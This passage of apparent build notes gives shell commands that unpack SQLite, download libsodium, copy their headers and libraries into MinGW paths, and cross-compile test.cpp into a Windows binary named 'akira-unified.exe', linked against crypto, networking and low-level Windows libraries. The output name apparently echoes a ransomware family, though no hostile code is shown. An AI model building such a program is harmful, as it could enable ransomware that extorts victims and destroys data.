unzip sqlite-amalgamation-3500400.zip

wget https://download.libsodium.org/libsodium/releases/libsodium-1.0.18-mingw.tar.gz
tar xvf libsodium-1.0.18-mingw.tar.gz
```

```
ALSO Copy to the right paths
sudo cp -r libsodium-win64/include/sodium.h /usr/x86_64-w64-mingw32/include/
sudo cp -r libsodium-win64/include/sodium/ /usr/x86_64-w64-mingw32/include/
sudo cp libsodium-win64/lib/libsodium.a /usr/x86_64-w64-mingw32/lib/
sudo cp libsodium-win64/lib/libsodium.dll.a /usr/x86_64-w64-mingw32/lib/
AND
sudo cp sqlite3.h /usr/x86_64-w64-mingw32/include/
sudo cp sqlite3.c /usr/x86_64-w64-mingw32/lib/

ALSO
x86_64-w64-mingw32-gcc -c sqlite3.c -o sqlite3.o

x86_64-w64-mingw32-g++ -std=c++17 -static -o akira-unified.exe test.cpp sqlite3.o \
  -I/usr/x86_64-w64-mingw32/include \
  -L/usr/x86_64-w64-mingw32/lib \
  -lbcrypt -lcrypt32 -lws2_32 -lsodium \
  -lntdll -lshlwapi -luserenv -ladvapi32
```